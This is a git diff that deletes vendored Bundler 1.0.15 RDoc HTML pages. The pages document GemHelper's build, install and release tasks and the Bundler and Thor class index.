-49:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-node">&quot;#{name} #{version} built to pkg/#{file_name}&quot;</span>
-50:       }
-51:       <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">base</span>, <span class="ruby-value str">'pkg'</span>, <span class="ruby-identifier">file_name</span>)
-52:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 25</span>
-25:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install</span>
-26:       <span class="ruby-identifier">desc</span> <span class="ruby-node">&quot;Build #{name}-#{version}.gem into the pkg directory&quot;</span>
-27:       <span class="ruby-identifier">task</span> <span class="ruby-value str">'build'</span> <span class="ruby-keyword kw">do</span>
-28:         <span class="ruby-identifier">build_gem</span>
-29:       <span class="ruby-keyword kw">end</span>
-30: 
-31:       <span class="ruby-identifier">desc</span> <span class="ruby-node">&quot;Build and install #{name}-#{version}.gem into system gems&quot;</span>
-32:       <span class="ruby-identifier">task</span> <span class="ruby-value str">'install'</span> <span class="ruby-keyword kw">do</span>
-33:         <span class="ruby-identifier">install_gem</span>
-34:       <span class="ruby-keyword kw">end</span>
-35: 
-36:       <span class="ruby-identifier">desc</span> <span class="ruby-node">&quot;Create tag #{version_tag} and build and push #{name}-#{version}.gem to Rubygems&quot;</span>
-37:       <span class="ruby-identifier">task</span> <span class="ruby-value str">'release'</span> <span class="ruby-keyword kw">do</span>
-38:         <span class="ruby-identifier">release_gem</span>
-39:       <span class="ruby-keyword kw">end</span>
-40:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">install_gem</span><span
-						class="method-args">()</span>
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-						id="install-gem-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 54</span>
-54:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install_gem</span>
-55:       <span class="ruby-identifier">built_gem_path</span> = <span class="ruby-identifier">build_gem</span>
-56:       <span class="ruby-identifier">out</span>, <span class="ruby-identifier">_</span> = <span class="ruby-identifier">sh_with_code</span>(<span class="ruby-node">&quot;gem install '#{built_gem_path}'&quot;</span>)
-57:       <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Couldn't install gem, run `gem install #{built_gem_path}' for more detailed output&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">out</span>[<span class="ruby-regexp re">/Successfully installed/</span>]
-58:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-node">&quot;#{name} (#{version}) installed&quot;</span>
-59:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-release_gem"></a>
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-				<div class="method-heading">
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-					<span class="method-name">release_gem</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-						id="release-gem-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 61</span>
-61:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">release_gem</span>
-62:       <span class="ruby-identifier">guard_clean</span>
-63:       <span class="ruby-identifier">guard_already_tagged</span>
-64:       <span class="ruby-identifier">built_gem_path</span> = <span class="ruby-identifier">build_gem</span>
-65:       <span class="ruby-identifier">tag_version</span> {
-66:         <span class="ruby-identifier">git_push</span>
-67:         <span class="ruby-identifier">rubygem_push</span>(<span class="ruby-identifier">built_gem_path</span>)
-68:       }
-69:     <span class="ruby-keyword kw">end</span></pre>
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-			<h3 class="section-header">Protected Instance Methods</h3>
-
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-			<div id="built-gem-path-method" class="method-detail ">
-				<a name="method-i-built_gem_path"></a>
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-				<div class="method-heading">
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-					<span class="method-name">built_gem_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-						id="built-gem-path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 78</span>
-78:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">built_gem_path</span>
-79:       <span class="ruby-constant">Dir</span>[<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">base</span>, <span class="ruby-node">&quot;#{name}-*.gem&quot;</span>)].<span class="ruby-identifier">sort_by</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">mtime</span>(<span class="ruby-identifier">f</span>)}.<span class="ruby-identifier">last</span>
-80:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-clean%3F"></a>
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-				<div class="method-heading">
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-					<span class="method-name">clean?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 104</span>
-104:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">clean?</span>
-105:       <span class="ruby-identifier">sh_with_code</span>(<span class="ruby-value str">&quot;git diff --exit-code&quot;</span>)[<span class="ruby-value">1</span>] <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
-106:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-git_push"></a>
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-				<div class="method-heading">
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-					<span class="method-name">git_push</span><span
-						class="method-args">()</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 82</span>
-82:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">git_push</span>
-83:       <span class="ruby-identifier">perform_git_push</span>
-84:       <span class="ruby-identifier">perform_git_push</span> <span class="ruby-value str">' --tags'</span>
-85:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-value str">&quot;Pushed git commits and tags&quot;</span>
-86:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 94</span>
-94:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">guard_already_tagged</span>
-95:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">sh</span>(<span class="ruby-value str">'git tag'</span>).<span class="ruby-identifier">split</span>(<span class="ruby-regexp re">/\n/</span>).<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">version_tag</span>)
-96:         <span class="ruby-identifier">raise</span>(<span class="ruby-value str">&quot;This tag has already been committed to the repo.&quot;</span>)
-97:       <span class="ruby-keyword kw">end</span>
-98:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 100</span>
-100:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">guard_clean</span>
-101:       <span class="ruby-identifier">clean?</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">raise</span>(<span class="ruby-value str">&quot;There are files that need to be committed first.&quot;</span>)
-102:     <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 126</span>
-126:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">name</span>
-127:       <span class="ruby-identifier">gemspec</span>.<span class="ruby-identifier">name</span>
-128:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">perform_git_push</span><span
-						class="method-args">(options = '')</span>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 88</span>
-88:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">perform_git_push</span>(<span class="ruby-identifier">options</span> = <span class="ruby-value str">''</span>)
-89:       <span class="ruby-identifier">cmd</span> = <span class="ruby-node">&quot;git push #{options}&quot;</span>
-90:       <span class="ruby-identifier">out</span>, <span class="ruby-identifier">code</span> = <span class="ruby-identifier">sh_with_code</span>(<span class="ruby-identifier">cmd</span>)
-91:       <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Couldn't git push. `#{cmd}' failed with the following output:\n\n#{out}\n&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
-92:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-		
-			<div id="rubygem-push-method" class="method-detail ">
-				<a name="method-i-rubygem_push"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">rubygem_push</span><span
-						class="method-args">(path)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="method-description">
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-						id="rubygem-push-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">rubygem_push</span>(<span class="ruby-identifier">path</span>)
-73:       <span class="ruby-identifier">out</span>, <span class="ruby-identifier">_</span> = <span class="ruby-identifier">sh</span>(<span class="ruby-node">&quot;gem push '#{path}'&quot;</span>)
-74:       <span class="ruby-identifier">raise</span> <span class="ruby-value str">&quot;Gem push failed due to lack of RubyGems.org credentials.&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">out</span>[<span class="ruby-regexp re">/Enter your RubyGems.org credentials/</span>]
-75:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-node">&quot;Pushed #{name} #{version} to rubygems.org&quot;</span>
-76:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-					<span class="method-name">sh</span><span
-						class="method-args">(cmd, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 130</span>
-130:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sh</span>(<span class="ruby-identifier">cmd</span>, &amp;<span class="ruby-identifier">block</span>)
-131:       <span class="ruby-identifier">out</span>, <span class="ruby-identifier">code</span> = <span class="ruby-identifier">sh_with_code</span>(<span class="ruby-identifier">cmd</span>, &amp;<span class="ruby-identifier">block</span>)
-132:       <span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">0</span> <span class="ruby-operator">?</span> <span class="ruby-identifier">out</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">raise</span>(<span class="ruby-identifier">out</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">?</span> <span class="ruby-node">&quot;Running `#{cmd}' failed. Run this command directly for more detailed output.&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">out</span>)
-133:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-sh_with_code"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">sh_with_code</span><span
-						class="method-args">(cmd, &block)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 135</span>
-135:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sh_with_code</span>(<span class="ruby-identifier">cmd</span>, &amp;<span class="ruby-identifier">block</span>)
-136:       <span class="ruby-identifier">cmd</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot; 2&gt;&amp;1&quot;</span>
-137:       <span class="ruby-identifier">outbuf</span> = <span class="ruby-value str">''</span>
-138:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">debug</span>(<span class="ruby-identifier">cmd</span>)
-139:       <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">base</span>) {
-140:         <span class="ruby-identifier">outbuf</span> = <span class="ruby-node">`#{cmd}`</span>
-141:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">$?</span> <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
-142:           <span class="ruby-identifier">block</span>.<span class="ruby-identifier">call</span>(<span class="ruby-identifier">outbuf</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block</span>
-143:         <span class="ruby-keyword kw">end</span>
-144:       }
-145:       [<span class="ruby-identifier">outbuf</span>, <span class="ruby-identifier">$?</span>]
-146:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-		
-			<div id="tag-version-method" class="method-detail ">
-				<a name="method-i-tag_version"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">tag_version</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="tag-version-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 108</span>
-108:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">tag_version</span>
-109:       <span class="ruby-identifier">sh</span> <span class="ruby-node">&quot;git tag -a -m \&quot;Version #{version}\&quot; #{version_tag}&quot;</span>
-110:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-node">&quot;Tagged #{version_tag}&quot;</span>
-111:       <span class="ruby-keyword kw">yield</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
-112:     <span class="ruby-keyword kw">rescue</span>
-113:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot;Untagged #{version_tag} due to error&quot;</span>
-114:       <span class="ruby-identifier">sh_with_code</span> <span class="ruby-node">&quot;git tag -d #{version_tag}&quot;</span>
-115:       <span class="ruby-identifier">raise</span>
-116:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-			<div id="version-method" class="method-detail ">
-				<a name="method-i-version"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">version</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-						id="version-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 118</span>
-118:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">version</span>
-119:       <span class="ruby-identifier">gemspec</span>.<span class="ruby-identifier">version</span>
-120:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-version_tag"></a>
-
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-				
-					<span class="method-name">version_tag</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/gem_helper.rb, line 122</span>
-122:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">version_tag</span>
-123:       <span class="ruby-node">&quot;v#{version}&quot;</span>
-124:     <span class="ruby-keyword kw">end</span></pre>
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-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemHelpers.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemHelpers.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Module: Bundler::GemHelpers</title>
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-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
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-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-</head>
-<body class="module">
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-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
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-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/rubygems_ext_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
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-		<div id="class-metadata">
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-			<!-- Parent Class -->
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-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-generic">#generic</a></li>
-					
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-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-						class="quicksearch-field" />
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-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
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-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
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-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 207</span>
-207:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">generic</span>(<span class="ruby-identifier">p</span>)
-208:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">p</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">p</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span>
-209: 
-210:       <span class="ruby-constant">GENERIC_CACHE</span>[<span class="ruby-identifier">p</span>] <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-211:         <span class="ruby-identifier">found</span> = <span class="ruby-constant">GENERICS</span>.<span class="ruby-identifier">find</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p2</span><span class="ruby-operator">|</span>
-212:           <span class="ruby-identifier">p2</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">os</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">p2</span>.<span class="ruby-identifier">os</span>
-213:         <span class="ruby-keyword kw">end</span>
-214:         <span class="ruby-identifier">found</span> <span class="ruby-operator">||</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span>
-215:       <span class="ruby-keyword kw">end</span>
-216:     <span class="ruby-keyword kw">end</span></pre>
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-	
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemNotFound.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemNotFound.html
deleted file mode 100644
index bee2a584..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemNotFound.html
+++ /dev/null
@@ -1,330 +0,0 @@
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-				
-					<li><a href="../Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="../Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="../Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
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-				
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-				
-					<li><a href="../Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-				
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-				
-					<li><a href="../Thor/Task.html">Thor::Task</a></li>
-				
-					<li><a href="../Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
-					<li><a href="../Thor/UnknownArgumentError.html">Thor::UnknownArgumentError</a></li>
-				
-					<li><a href="../Thor/Util.html">Thor::Util</a></li>
-				
-					<li><a href="../Gem.html">Gem</a></li>
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-				
-					<li><a href="../Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="../Gem/Requirement.html">Gem::Requirement</a></li>
-				
-					<li><a href="../Gem/Specification.html">Gem::Specification</a></li>
-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::GemNotFound</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-
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-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
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-	
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-			Rdoc Generator</a> 1.1.6</small>.</p>
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-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemfileError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemfileError.html
deleted file mode 100644
index b9dddc22..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemfileError.html
+++ /dev/null
@@ -1,330 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Class: Bundler::GemfileError</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
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-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
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-	<script src="../js/darkfish.js" type="text/javascript"
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-<body class="class">
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-          <a href="../index.html#classes">Classes</a>
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-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-				
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-				
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-			
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-			
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-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
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-				
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-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-				
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-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
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-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
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-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
-					<li><a href="../Bundler/Runtime.html">Bundler::Runtime</a></li>
-				
-					<li><a href="../Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="../Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="../Bundler/Source.html">Bundler::Source</a></li>
-				
-					<li><a href="../Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
-					<li><a href="../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
-					<li><a href="../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="../Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
-					<li><a href="../Bundler/UI.html">Bundler::UI</a></li>
-				
-					<li><a href="../Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
-					<li><a href="../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
-				
-					<li><a href="../Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-				
-					<li><a href="../Thor.html">Thor</a></li>
-				
-					<li><a href="../Thor/Actions.html">Thor::Actions</a></li>
-				
-					<li><a href="../Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-				
-					<li><a href="../Thor/Base.html">Thor::Base</a></li>
-				
-					<li><a href="../Thor/Base/ClassMethods.html">Thor::Base::ClassMethods</a></li>
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-				
-					<li><a href="../Thor/Invocation/ClassMethods.html">Thor::Invocation::ClassMethods</a></li>
-				
-					<li><a href="../Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="../Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="../Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
-					<li><a href="../Thor/Shell.html">Thor::Shell</a></li>
-				
-					<li><a href="../Thor/Shell/Basic.html">Thor::Shell::Basic</a></li>
-				
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-				
-					<li><a href="../Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-				
-					<li><a href="../Thor/Task.html">Thor::Task</a></li>
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-					<li><a href="../Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
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-				
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-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::GemfileError</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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-</body>
-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemfileNotFound.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemfileNotFound.html
deleted file mode 100644
index 55dc3110..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/GemfileNotFound.html
+++ /dev/null
@@ -1,330 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::GemfileNotFound</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
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-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
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-					<ul>
-					
-						<li><a href="../lib/bundler_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler.rb">lib/bundler.rb</a></li>
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-			<!-- Parent Class -->
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-				
-				<p class="link"><a href="BundlerError.html">Bundler::BundlerError</a></p>
-				
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-			
-
-			<!-- Namespace Contents -->
-			
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-			<!-- Method Quickref -->
-			
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-			<!-- Included Modules -->
-			
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-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
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-				
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-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
